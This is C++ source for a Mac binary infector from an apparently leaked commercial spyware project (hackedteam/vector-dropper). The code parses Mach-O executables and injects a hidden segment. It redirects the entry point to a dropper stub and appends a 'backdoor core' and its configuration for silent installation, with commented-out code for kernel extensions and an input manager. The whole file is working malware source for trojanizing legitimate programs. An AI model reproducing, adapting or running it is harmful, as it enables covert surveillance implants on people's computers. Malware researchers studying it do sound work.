hackedteam/vector-dropper

View on GitHub
RCSMacDropper/RCSMacInfector.cpp

Summary

Maintainability
Test Coverage
/*
* RCSMac Infector
*  - Check if the input file is a FAT binary
*    - If Yes Unpack every single ARCH
*  - Rebuild a FAT binary with all the original archs and while dealing with the
*    i386 arch:
*    - Inject a new LC_SEGMENT right after the __LINKEDIT segment so that we
*      won't touch __DATA vmaddr (this is because __PAGEZERO will always be 0x1000
*      big, by default from gcc. One can also specify a different size at compile time)
*    - Cut sizeof (segment_command) while copying back the _rest_ of the file
*      (after LC_COMMAND(s)) since we've added a new SEGMENT. In this way we're
*      gonna cut 0s used for padding and the alignment won't be broken.
*    - Append our data padded to 0x1000 (Page Boundary) and put our crt start()
*      routine (standard one created by gcc) as the entryPoint routine which calls
*      our real main() [secondStageLoader]. There's a problem in having the start
*      routine different than the one dyld is expecting since it won't initialize
*      in that case the entire environment memory. See ImageLoaderMachO.cpp:2661
*      - This must be done in the same architecture and not at the end of the file:
*        | FAT_HEADER |
*         | FAT_ARCH i386| <--- change arch size in order to include our files
*          | ARCH i386 SEGMENTS |
*          | INJECTED SEGMENT |
*         | FAT_ARCH OTHER |
*          | ARCH OTHER SEGMENTS|
*
* Created by Alfredo 'revenge' Pesoli on 14/07/2009
* Win32 porting by Massimo Chiodini on 02/11/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#ifdef __APPLE__
#include <unistd.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <sys/stat.h>
#ifdef __APPLE__
#include <sys/mman.h>
#else
#include <io.h>
#endif

#include "RCSMacCommon.h"
#include "RCSMacInfector.h"
#include "RCSMacDropper.h"

#define INJECTED_SEGMENT  "__CTOR_STUBS"
//#define DEBUG
//#define DEBUG_VERBOSE

//extern void dropperStart ();
//extern void labelTest ();
//extern void firstStageDropper ();
//extern void secondStageDropper ();
//extern void dropperEnd ();

//static unsigned int paddedPagezeroVASize = 0;

#define ENTRY_POINT            ((byte *)secondStageDropper - (byte *)dropperStart)
#define DROPPER_CODE_SIZE      ((byte *)dropperEnd - (byte *)dropperStart)
#define FIRST_STAGE_CODE_SIZE  ((byte *)firstStageDropper - (byte *)labelTest)

uint32_t gShiftSize = 0;
uint32_t gOutSize   = 0;


uint32_t getBinaryEP_32 (byte *machoBase)
{
    struct mach_header *m_header;
    struct load_command *l_command;

    unsigned int i;
    unsigned int offset, entryPoint;

    m_header =(struct mach_header *) machoBase;
    offset  = sizeof (struct mach_header);

    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)((byte *)machoBase + offset);

        if (l_command->cmd == LC_THREAD
            || l_command->cmd == LC_UNIXTHREAD)
        {
            struct thread_command *th_command;

            th_command = (thread_command *) allocate (sizeof (struct thread_command));
            memcpy (th_command, machoBase + offset, sizeof (struct thread_command));

            entryPoint = th_command->state.eip;
            free (th_command);

            return entryPoint;
        }

        offset += l_command->cmdsize;
    }

    return -1;
}
#if 0
uint64_t getBinaryEP_64 (byte *machoBase)
{
    struct mach_header_64 *m_header;
    struct load_command *l_command;

    unsigned int i;
    unsigned int offset;
    uint64_t entryPoint;

    m_header =(struct mach_header_64 *) machoBase;
    offset  = sizeof (struct mach_header_64);

    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)((byte *)machoBase + offset);

        if (l_command->cmd == LC_THREAD
            || l_command->cmd == LC_UNIXTHREAD)
        {
            struct thread_command_64 *th_command;

            th_command = (struct thread_command_64 *) allocate (sizeof (struct thread_command_64));
            memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));

            entryPoint = th_command->state.rip;
            free (th_command);

            return entryPoint;
        }

        offset += l_command->cmdsize;
    }

    return -1;
}
#endif
int
setBinaryEP_32 (byte *machoBase, uint32_t anEntryPoint)
{
    struct mach_header *m_header;
    struct load_command *l_command;

    unsigned int i;
    unsigned int offset;

    m_header = (struct mach_header *) machoBase;
    offset  = sizeof (struct mach_header);

    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)(machoBase + offset);

        if (l_command->cmd == LC_THREAD
            || l_command->cmd == LC_UNIXTHREAD)
        {
#ifdef DEBUG
            printf("Found LC_THREAD for setting ep\n");
#endif
            struct thread_command *th_command;

            th_command = (thread_command *) allocate (sizeof (struct thread_command));
            memcpy (th_command, machoBase + offset, sizeof (struct thread_command));

            th_command->state.eip = anEntryPoint;
            memcpy (machoBase + offset, th_command, sizeof (struct thread_command));
            free (th_command);  

            return 0;
        }

        offset += l_command->cmdsize;
    }

    return -1;
}
#if 0
int
setBinaryEP_64 (byte *machoBase, uint64_t anEntryPoint)
{
    struct mach_header_64 *m_header;
    struct load_command *l_command;

    unsigned int i;
    unsigned int offset;

    m_header = (struct mach_header_64 *) machoBase;
    offset  = sizeof (struct mach_header_64);

    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)(machoBase + offset);

        if (l_command->cmd == LC_THREAD
            || l_command->cmd == LC_UNIXTHREAD)
        {
            struct thread_command_64 *th_command;

            th_command = (thread_command_64 *) allocate (sizeof (struct thread_command_64));
            memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));

            th_command->state.rip = anEntryPoint;
            memcpy (machoBase + offset, th_command, sizeof (struct thread_command_64));
            free (th_command);  

            return 0;
        }

        offset += l_command->cmdsize;
    }

    return -1;
}
#endif
int appendData (char *inputFilePointer,
                char *outputFilePointer,
                int inArchOffset,
                int outArchOffset,
                int padding,
                uint32_t segmentVMAddr,
                bool is64bitArch)
{
    char *tempFilePointer   = NULL;
    const char *_strings[]  = { "HOME", "%s/%s/%s", "%s/%s", "/%s", "Library", "Preferences", "" };

    uint32_t originalEP     = 0;
    int tempFileSize        = 0; 
#ifdef WIN32
    HANDLE tempFD, tempFDMap;
#else
    int tempFD              = 0;
#endif
    int z                   = 0;
    int offset = padding;

    infectionHeader infection;
    stringTable     strings;
    resourceHeader  resource;

    //if (is64bitArch)
    //  originalEP = getBinaryEP_64 ((byte *)(inputFilePointer + inArchOffset));
    //else
    originalEP = getBinaryEP_32 ((byte *)(inputFilePointer + inArchOffset));

#ifdef DEBUG
    printf ("Original EP: %x\n", originalEP);
#endif

    char *coreFileName          = basename(coreFilePath);
    char *confFileName          = basename(confFilePath);
    //char *kext32FileName        = basename(kext32FilePath);
    //char *kext64FileName        = basename(kext64FilePath);
    //char *inputManagerFileName  = basename(inputManagerFilePath);
    //char *XPCFileName           = basename(XPCFilePath);
    //char *iconFileName          = basename(iconFilePath);
    char *bitmapFileName          = NULL;
    if(strcmp(bitmapFilePath, "null"))
        bitmapFileName          = "infected.bmp";
    char *inputFileName         = basename(inputFilePath);
    char *outputFileName        = basename(outputFilePath);

    //
    // Set the infection header
    //
    memset(&infection, 0, sizeof (infectionHeader));
    infection.numberOfResources = gNumberOfResources;
    infection.numberOfStrings   = gNumStrings;
    infection.dropperSize       = (int)DROPPER_CODE_SIZE;
    infection.originalEP        = originalEP; //+ paddedPagezeroVASize - PAGE_ALIGNMENT;

    memcpy(outputFilePointer + offset, &infection, sizeof (infectionHeader));
    offset += sizeof(infectionHeader);

    //
    // Set the string table
    //
    for (z = 0; z < gNumStrings; z++)
    {
        memset(&strings, 0, sizeof (stringTable));
#ifdef WIN32
        printf("_string_%d %s\n", z, _strings[z]);
        strncpy_s(strings.value, sizeof(strings.value), _strings[z], _TRUNCATE);
#else
        strncpy (strings.value, _strings[z], sizeof (strings.value));
#endif

        strings.type = STRING_DATA;

        memcpy(outputFilePointer + offset, &strings, sizeof (stringTable));
        offset += sizeof(stringTable);
    }

    // Set the new EP + 4 (number of Resources)
    if (is64bitArch)
    {
#if 0
        if (setBinaryEP_64 ((byte *)(outputFilePointer + outArchOffset),
            segmentVMAddr
            + sizeof (infectionHeader)
            + sizeof (stringTable) * gNumStrings) == -1)
        {
            printf ("[ee] An error occurred while setting the new EP\n");
            exit (1);
        }
#endif
    }
    else
    {
        if (setBinaryEP_32((byte *)(outputFilePointer + outArchOffset),
            (uint32_t)segmentVMAddr
            + sizeof (infectionHeader)
            + sizeof (stringTable) * gNumStrings) == -1)
        {
            printf ("[ee] An error occurred while setting the new EP\n");
            exit (1);
        }
    }

    //
    // Now append the crt start routine (__malloc_initialize error fix)
    //
    memcpy(outputFilePointer + offset, crtStart, sizeof (crtStart));
    offset += sizeof (crtStart);

    unsigned int ep = (unsigned int)ENTRY_POINT;
#ifdef DEBUG_VERBOSE
    printf ("ep: %x\n", ep);
#endif
    memmove(outputFilePointer + offset - 1, &ep, 3);
    offset += 3;

    //
    // Now append our loader
    //

    memcpy(outputFilePointer + offset,
        dropperStart,
        (_mSize_t)DROPPER_CODE_SIZE);

    offset += (int)DROPPER_CODE_SIZE;

    //
    // Now resourceHeader with all the files which needs to be dropped
    //
    printf("[ii] Dropper injected (%d)\n", (int)DROPPER_CODE_SIZE);

    //
    // CORE
    //
    printf("[ii] Core %s, installpath: %s\n", coreFileName, installPath);
    resource.type = RESOURCE_CORE;
    memset(resource.name, 0, sizeof(resource.name));
    memcpy(resource.name, coreFileName, min(sizeof(resource.name), strlen(coreFileName)));

    resource.size = gCoreFileSize;

    memset(resource.path, 0, sizeof(resource.path));
    memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

    memcpy(outputFilePointer + offset,
        &resource,
        sizeof(resourceHeader));

    offset += sizeof(resourceHeader);

#ifdef WIN32
    if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else
    if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the backdoor core file\n");
        exit (1);
    }

    memcpy(outputFilePointer + offset,
        tempFilePointer,
        gCoreFileSize);

    offset += gCoreFileSize;

    tempFileSize = 0;

#ifdef WIN32
    if (tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close (tempFD);
    tempFilePointer = NULL;
#endif

    //
    // CONF
    //
    printf("[ii] Conf %s\n", confFileName);

    resource.type = RESOURCE_CONF;
    memset(resource.name, 0, sizeof(resource.name));
    memcpy(resource.name, confFileName, min(sizeof(resource.name), strlen(confFileName)));
    resource.size = gConfFileSize;
    memset(resource.path, 0, sizeof(resource.path));
    memcpy(resource.path, installPath, min(sizeof(resource.path),strlen(installPath)));

    memcpy(outputFilePointer + offset,
        &resource,
        sizeof(resourceHeader));

    offset += sizeof(resourceHeader);
#ifdef WIN32
    if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)

#else 
    if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the configuration file\n");
        exit(1);
    }

    memcpy(outputFilePointer + offset,
        tempFilePointer,
        gConfFileSize);
    offset += gConfFileSize;

    tempFileSize = 0;

#ifdef WIN32
    if(tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close(tempFD);

    tempFilePointer = NULL;
#endif

    /*
    //
    // KEXT32
    //
    printf("[ii] Kext32 %s\n", kext32FileName);
    resource.type = RESOURCE_KEXT;
    memset(resource.name, 0, sizeof(resource.name));
    memcpy(resource.name, kext32FileName, min(sizeof(resource.name), strlen(kext32FileName)));
    resource.size = gKext32FileSize;
    memset(resource.path, 0, sizeof(resource.path));
    memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

#ifdef DEBUG
    printf ("offset: %x\n", offset);
#endif

    memcpy(outputFilePointer + offset,
        &resource,
        sizeof(resourceHeader));

    offset += sizeof(resourceHeader);

#ifdef WIN32
    if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else
    if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the configuration file\n");
        exit(1);
    }

    memcpy(outputFilePointer + offset,
        tempFilePointer,
        gKext32FileSize);

    offset += gKext32FileSize;
    tempFileSize = 0;

#ifdef WIN32
    if (tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close(tempFD);

    tempFilePointer = NULL;
#endif

    //
    // KEXT64
    //
    printf("[ii] Kext64 %s\n", kext64FileName);
    resource.type = RESOURCE_KEXT;
    memset(resource.name, 0, sizeof(resource.name));
    memcpy(resource.name, kext64FileName, min(sizeof(resource.name), strlen(kext64FileName)));
    resource.size = gKext64FileSize;
    memset(resource.path, 0, sizeof(resource.path));
    memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

#ifdef DEBUG
    printf ("offset: %x\n", offset);
#endif

    memcpy(outputFilePointer + offset,
        &resource,
        sizeof (resourceHeader));

    offset += sizeof(resourceHeader);

#ifdef WIN32
    if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else
    if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the configuration file\n");
        exit (1);
    }

    memcpy (outputFilePointer + offset,
        tempFilePointer,
        gKext64FileSize);

    offset += gKext64FileSize;
    tempFileSize = 0;

#ifdef WIN32
    if (tempFilePointer != NULL)
        UnmapViewOfFile (tempFilePointer);

    CloseHandle (tempFDMap);
    CloseHandle (tempFD);
#else
    close (tempFD);

    tempFilePointer = NULL;
#endif
*/
/*
    //
    // INPUT MANAGER
    //
    printf("[ii] InputManager %s, size: %d\n", inputManagerFileName, gInputManagerFileSize);
    resource.type = RESOURCE_IN_MANAGER;
    memset (resource.name, 0, sizeof (resource.name));
    memcpy (resource.name, inputManagerFileName, min(sizeof (resource.name), strlen(inputManagerFileName)));
    resource.size = gInputManagerFileSize;
    memset (resource.path, 0, sizeof (resource.path));
    memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

    memcpy (outputFilePointer + offset,
        &resource,
        sizeof (resourceHeader));

    offset += sizeof (resourceHeader);
#ifdef WIN32
    if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else 
    if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the input manager file\n");
        exit (1);
    }

    memcpy (outputFilePointer + offset,
        tempFilePointer,
        gInputManagerFileSize);

    offset += gInputManagerFileSize;
    tempFileSize = 0;

#ifdef WIN32
    if(tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close (tempFD);
#endif
*/
/*
    //
    // XPC service
    //
    printf("[ii] XPC %s\n", XPCFileName);

    resource.type = RESOURCE_IN_MANAGER;
    memset (resource.name, 0, sizeof (resource.name));
    memcpy (resource.name, XPCFileName, sizeof (resource.name));
    resource.size = gXPCFileSize;
    memset (resource.path, 0, sizeof (resource.path));
    memcpy (resource.path, installPath, sizeof (resource.path));

    memcpy (outputFilePointer + offset,
        &resource,
        sizeof (resourceHeader));

    offset += sizeof (resourceHeader);
#ifdef WIN32
    if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else 
    if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the XPC service file\n");
        exit (1);
    }

    memcpy (outputFilePointer + offset,
        tempFilePointer,
        gXPCFileSize);

    offset += gXPCFileSize;
    tempFileSize = 0;

#ifdef WIN32
    if(tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close (tempFD);
#endif
*/

    /*
    //
    // ICON
    //
    printf("[ii] Icon %s\n", iconFileName);

    resource.type = RESOURCE_ICON;
    memset (resource.name, 0, sizeof(resource.name));
    memcpy (resource.name, iconFileName, min(sizeof(resource.name), strlen(iconFileName)));
    resource.size = gIconFileSize;
    memset (resource.path, 0, sizeof(resource.path));
    memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

    memcpy (outputFilePointer + offset,
        &resource,
        sizeof (resourceHeader));

    offset += sizeof (resourceHeader);
#ifdef WIN32
    if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
        &tempFD, &tempFDMap, 0)) == NULL)
#else 
    if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
        &tempFD, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the configuration file\n");
        exit (1);
    }

    memcpy (outputFilePointer + offset,
        tempFilePointer,
        gIconFileSize);

    offset += gIconFileSize;
    tempFileSize = 0;

#ifdef WIN32
    if(tempFilePointer != NULL)
        UnmapViewOfFile(tempFilePointer);

    CloseHandle(tempFDMap);
    CloseHandle(tempFD);
#else
    close (tempFD);

    tempFilePointer = NULL;
#endif
*/

    if(bitmapFileName != NULL)
    {
        // Bitmap file for demo
        printf("[ii] Bitmap %s\n", bitmapFileName);

        resource.type = RESOURCE_BITMAP;
        memset (resource.name, 0, sizeof(resource.name));
        memcpy (resource.name, bitmapFileName, min(sizeof(resource.name), strlen(bitmapFileName)));
        resource.size = gBitmapFileSize;
        memset (resource.path, 0, sizeof(resource.path));
        memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));

        memcpy (outputFilePointer + offset,
            &resource,
            sizeof (resourceHeader));

        offset += sizeof (resourceHeader);
#ifdef WIN32
        if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
            &tempFD, &tempFDMap, 0)) == NULL)
#else 
        if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
            &tempFD, 0)) == NULL)
#endif
        {
            printf("[ee] Error while mmapping the bitmap file\n");
            exit (1);
        }

        memcpy (outputFilePointer + offset,
            tempFilePointer,
            gBitmapFileSize);

        offset += gBitmapFileSize;
        tempFileSize = 0;

#ifdef WIN32
        if(tempFilePointer != NULL)
            UnmapViewOfFile(tempFilePointer);

        CloseHandle(tempFDMap);
        CloseHandle(tempFD);
#else
        close (tempFD);

        tempFilePointer = NULL;
#endif
    }

    return offset;
}

int infectSingleArch (char *inputFilePointer,
                      char *outputFilePointer,
                      int inOffsetToArch,
                      int outOffsetToArch,
                      int inputFileSize,
                      int outputFileSize)
{
    struct mach_header      *m_header;
    struct load_command     *l_command;
    struct segment_command  *seg_command;

    unsigned int z;
    unsigned int i;
    unsigned int inputOffset  = 0;
    unsigned int outputOffset = 0;
    unsigned int segVMAddr    = 0;
    int displacement          = 0;
    int padding               = 0;

#ifdef DEBUG
    printf("input offset: %d\n", inputOffset);
    printf("inOffsetToArch: %d\n", inOffsetToArch);
    printf("inputFileSize: %d\n", inputFileSize);
#endif

    inputOffset   += inOffsetToArch;
    outputOffset  += outOffsetToArch;

    m_header =  (struct mach_header *) allocate (sizeof (struct mach_header));
    memcpy (m_header, inputFilePointer + inputOffset, sizeof (struct mach_header));

    // TODO: Add check for cputype as well
    if (m_header->filetype != MH_EXECUTE)
    {
        printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
        return kErrorFileNotSupported;
    }

    //m_header->sizeofcmds += sizeof (struct section);

    // Increment header sizeofcmds since we're adding a new segment
    m_header->sizeofcmds += sizeof (struct segment_command);
    m_header->ncmds      += 1;

    memcpy (outputFilePointer + outputOffset, m_header, sizeof (struct mach_header));

    // Calculate padding including loader code size
    displacement  = inputFileSize % PAGE_ALIGNMENT;
    padding       = PAGE_ALIGNMENT - displacement;

    outputOffset += sizeof (struct mach_header);
    inputOffset  += sizeof (struct mach_header);
#ifdef DEBUG
    printf ("[ii] Starting parsing load_commands\n");
#endif
    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
        printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
        switch (l_command->cmd)
        {
        case LC_THREAD:
        case LC_UNIXTHREAD:
            {
                struct thread_command *th_command;

                th_command = (thread_command *) allocate (sizeof (struct thread_command));
                memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));

                //th_command->state.eip += sizeof (struct section);
                //th_command->state.eip = 0x8; // W00t

                memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command));
                free (th_command);

                inputOffset += sizeof (struct thread_command);
                outputOffset += sizeof (struct thread_command);

                break;
            }
        case LC_SEGMENT:
            {
#ifdef DEBUG
                printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command)));
#endif
                seg_command = (segment_command *) allocate (sizeof (struct segment_command));
                memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command));

                inputOffset += sizeof (struct segment_command);

                if (!strncmp (seg_command->segname, "__PAGEZERO",
                    strlen (seg_command->segname)))
                {
#ifdef DEBUG
                    printf ("[ii] Found __PAGEZERO Segment\n");
#endif  
                    //
                    // Update the segment within the new prot flags(EP) and size
                    //
                    //seg_command->cmdsize  += sizeof (struct section);
                    /*
                    seg_command->fileoff  = fileSize + padding;

                    //seg_command->filesize = outputFileSize;
                    seg_command->filesize = FIRST_STAGE_CODE_SIZE;

                    if (seg_command->filesize % PAGE_ALIGNMENT)
                    seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
                    & ~(PAGE_ALIGNMENT -1));

                    //seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
                    seg_command->vmsize = seg_command->filesize;

                    seg_command->maxprot  = 0x7;
                    seg_command->initprot = 0x5;
                    //seg_command->nsects   += 0x1;
                    */
                    // Copy back the segmentCommand
                    memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
                    outputOffset += sizeof (struct segment_command);
                    /*
                    //
                    // Create the new section
                    //
                    printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
                    sect = allocate (sizeof (struct section));

                    if (sect == NULL)
                    {
                    printf("[ee] Error while allocating the new section\n");
                    return kErrorMemoryAllocation;
                    }

                    strcpy (sect->sectname, INJECTED_SECTION_NAME);
                    strcpy (sect->segname, INJECTED_SEGMENT_NAME);
                    //sect->addr    = stackSize;
                    sect->offset  = fileSize + padding;
                    sect->size    = outputFileSize; //TOP_STACK - stackSize; // size of the stack
                    sect->align   = 0x2; // standard alignment
                    sect->flags   = 0x80000000; // x flag

                    // Copy back the section
                    memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
                    outputOffset += sizeof (struct section);

                    free (sect);
                    */
                }
                else if (!strncmp (seg_command->segname, "__LINKEDIT",
                    strlen (seg_command->segname)))
                {
#ifdef DEBUG
                    printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif  
                    memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
                    outputOffset += sizeof (struct segment_command);

                    //
                    // Now inject the new segment
                    //
                    struct segment_command *mySegment = (struct segment_command *) allocate (sizeof (struct segment_command));

                    mySegment->cmd      = LC_SEGMENT;
                    mySegment->cmdsize  = sizeof (struct segment_command);
#ifdef WIN32
                    strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
                    strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
                    mySegment->vmaddr   = seg_command->vmaddr + seg_command->vmsize;
                    mySegment->vmsize   = outputFileSize;

                    // XXX: Check this out if it's in|out
                    mySegment->fileoff  = inputFileSize + padding - outOffsetToArch;

                    mySegment->filesize = outputFileSize;
                    mySegment->maxprot  = 0x3;
                    mySegment->initprot = 0x5;

                    segVMAddr = mySegment->vmaddr;
#ifdef DEBUG
                    printf("Segment VMAddr: %d (0x%08x)\n)", segVMAddr, segVMAddr);
#endif
                    memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command));
                    outputOffset += sizeof (struct segment_command);
                }
                else
                {
                    //
                    // Shift all the VM Addresses
                    //
                    //seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;

                    memcpy (outputFilePointer + outputOffset,
                        seg_command,
                        sizeof (struct segment_command));
                    outputOffset += sizeof (struct segment_command);
#ifdef DEBUG
                    printf ("[ii] Cycling for segment (%s) sections (%d)\n",
                        seg_command->segname, seg_command->nsects);
#endif  
                    for (z = 0; z < seg_command->nsects; z++)
                    {
                        struct section *sect;

                        sect = (section *) allocate (sizeof (struct section));
                        if (sect == NULL)
                        {
                            printf("[ee] Error while allocating the new section\n");
                            return kErrorMemoryAllocation;
                        }
                        memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section));

                        //sect->offset += sizeof (struct section);
                        //sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;

                        memcpy (outputFilePointer + outputOffset,
                            sect,
                            sizeof (struct section));

                        free (sect);
                        inputOffset += sizeof (struct section);
                        outputOffset += sizeof (struct section);
                    }
                }

                free (seg_command);

                break;
            }
        case LC_SYMTAB:
            {
                struct symtab_command *sy_command;
                sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
                memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));

                //sy_command->symoff += sizeof (struct section);
                //sy_command->stroff += sizeof (struct section);

                memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
                free (sy_command);

                inputOffset += sizeof (struct symtab_command);
                outputOffset += sizeof (struct symtab_command);

                break;
            }
        case LC_DYSYMTAB:
            {
                struct dysymtab_command *dysym_command;
                dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
                memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));

                //dysym_command->indirectsymoff += sizeof (struct section);

                memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
                free (dysym_command);

                inputOffset += sizeof (struct dysymtab_command);
                outputOffset += sizeof (struct dysymtab_command);

                break;
            }
        case LC_CODE_SIGNATURE:
        case LC_SEGMENT_SPLIT_INFO:
            {
                struct linkedit_data_command *linkedit_command;
                linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
                memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));

                //linkedit_command->dataoff += sizeof (struct section);

                memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
                free (linkedit_command);

                inputOffset += sizeof (struct linkedit_data_command);
                outputOffset += sizeof (struct linkedit_data_command);

                break;
            }
        default:
            {
                memcpy (outputFilePointer + outputOffset,
                    inputFilePointer + inputOffset,
                    l_command->cmdsize);
                inputOffset += l_command->cmdsize;
                outputOffset += l_command->cmdsize;

                break;
            }
        }
    }

#ifdef DEBUG
    printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
    printf("[ii] inputOffset      : 0x%08x\n", inputOffset);
    printf("[ii] inputFileSize    : 0x%08x\n", inputFileSize);
    printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
    printf("[ii] outputOffset     : 0x%08x\n", outputOffset);
    printf("[ii] outputFileSize   : 0x%08x\n", outputFileSize);
    printf("[ii] inOffsetToArch   : 0x%08x\n", inOffsetToArch);
    printf("[ii] outOffsetToArch  : 0x%08x\n", outOffsetToArch);
#endif

    //
    // Now the rest of the file (data), here we wanna skip sizeof segment_command
    // in order to leave the file padded correctly for its TEXT segment
    //
    memcpy(outputFilePointer + outputOffset,
        inputFilePointer + inputOffset + sizeof (struct segment_command),
        inputFileSize - (inputOffset - inOffsetToArch) - sizeof (struct segment_command));

    free (m_header);
    printf ("[ii] LoadCommands copied successfully\n");

#ifdef DEBUG_VERBOSE
    printf ("inputFilePointer: %x\n", inputFilePointer);
    printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
    printf ("[ii] inOffsetToArch   : 0x%08x\n", inOffsetToArch);
    printf ("[ii] outOffsetToArch  : 0x%08x\n", outOffsetToArch);
    printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
    printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif

    if (appendData(inputFilePointer,
        outputFilePointer,
        inOffsetToArch,
        outOffsetToArch,
        inputFileSize + padding,
        segVMAddr,
        false) != kErrorGeneric)
        return padding;
    else
        return kErrorGeneric;
}
#if 0
int infectSingleArch64 (char *inputFilePointer,
                        char *outputFilePointer,
                        int inOffsetToArch,
                        int outOffsetToArch,
                        int inputFileSize,
                        int outputFileSize)
{
    struct mach_header_64       *m_header;
    struct load_command         *l_command;
    struct segment_command_64   *seg_command;

    unsigned int z;
    unsigned int i;
    uint32_t inputOffset  = 0;
    uint32_t outputOffset = 0;
    uint32_t segVMAddr    = 0;
    int displacement      = 0;
    int padding           = 0;

    inputOffset   += inOffsetToArch;
    outputOffset  += outOffsetToArch;

    m_header =  (struct mach_header_64 *) allocate (sizeof (struct mach_header_64));
    memcpy(m_header, inputFilePointer + inputOffset, sizeof (struct mach_header_64));

    // TODO: Add check for cputype as well
    if (m_header->filetype != MH_EXECUTE)
    {
        printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
        return kErrorFileNotSupported;
    }

    //m_header->sizeofcmds += sizeof (struct section);

    // Increment header sizeofcmds since we're adding a new segment
    m_header->sizeofcmds += sizeof (struct segment_command_64);
    m_header->ncmds      += 1;

    memcpy(outputFilePointer + outputOffset, m_header, sizeof (struct mach_header_64));

    // Calculate padding including loader code size
    displacement  = inputFileSize % PAGE_ALIGNMENT;
    padding       = PAGE_ALIGNMENT - displacement;

